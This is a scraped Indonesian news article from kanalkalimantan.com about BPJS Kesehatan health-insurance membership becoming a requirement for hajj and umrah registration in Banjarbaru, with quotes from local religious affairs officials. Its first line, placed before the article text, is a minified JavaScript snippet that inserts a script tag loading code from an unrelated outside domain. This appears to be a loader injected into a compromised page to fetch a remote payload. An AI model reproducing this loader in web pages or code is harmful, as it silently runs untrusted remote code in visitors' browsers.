(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepesertaan Badan Penyelenggaraan Jaminan Sosial (BPJS) Kesehatan menjadi persyaratan yang akan dipenuhi masyarakat mendaftar ibadah haji maupun umrah. Sesuai dengan Instruksi Presiden (Inpres) No 1 Tahun 2022 tentang optimalisasi pelaksanaan program Jaminan Kesehatan Nasional (JKN).
Kendati kepesertaan BPJS Kesehatan menjadi persyaratan yang harus dipenuhi dalam pendaftaran ibadah umrah dan haji, namun di Kota Banjarbaru hal tersebut tidak terlalu begitu berpengaruh terhadap masyarakat yang mendaftar haji atau umrah.
Kepala Kantor Kementerian Agama (Kemenag) Kota Banjarbaru, H Mahrus mengatakan, hingga kini pendaftaran kepesertaan haji dan umrah masih secara normatif disebabkan persyaratan harus dengan BPJS merupakan peraturan baru.
“Masih persyaratan biasa, jemaah juga bisa mendaftar lewat web kementerian agama untuk melengkapi berkasnya,” jelasnya.
Baca juga : Polisi Bongkar Penimbunan CPO dan Kapal Tanker, 6 Kontainer di Pelabuhan Batulicin Ikut Disegel
Mahrus mengungkapkan sebelum persyarataan kepesertaan BPJS ini masuk, sebelumnya sudah terdapat asuransi yang didapat para jemaah yang include dengan biaya pendaftaran.
“Sebenarnya sudah ada asuransinya, namun tidak tercatat, apabila terjadi sesuatu ketika keberangkatan maupun sudah selesai berhaji tetap jemaah mendapatkan asuransi,” ujarnya.
Masih kata Mahrus, penggunaan BPJS Kesehatan dalam persyaratan bagi jemaah kemungkinan untuk memperjelas akan adanya asuransi, sebab sebelumnya asuransi tersebut tidak tertulis secara jelas.
Terpisah, Kepala Seksi Penyelenggaraan Haji dan Umrah (PHU) Kantor Kemenag Kota Banjarbaru, Ahmad Syauqi mengatakan, rata-rata calon jemaah haji dan umrah sudah menjadi anggota kepesertaan BPJS kesehatan.
Baca juga : Kabar Duka Kalsel, H Abidin Berpulang ke Rahmatullah
Kendati demikian, Syauqi mengungkapkan, terkait BPJS Kesehatan dimasukkan kedalam persyaratan pendaftaran bagi jemaah haji dan umrah belum diterima pihaknya.
“Belum ada tertulisnya, tapi di lapangan sudah jalan sebab setiap orang ingin berangkat haji itu harus periksa kesehatan, otomatis mereka sudah menjadi kepesertaan BPJS Kesehatan,” jelasnya.
Walau kepesertaan BPJS Kesehatan menjadi persyaratan yang harus dipenuhi dalam pendaftaran ibadah umrah dan haji, namun Syauqi menyebut, di Kota Banjarbaru hal tersebut tidak terlalu begitu berpengaruh terhadap masyarakat yang mendaftar haji atau umrah. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
This website uses cookies.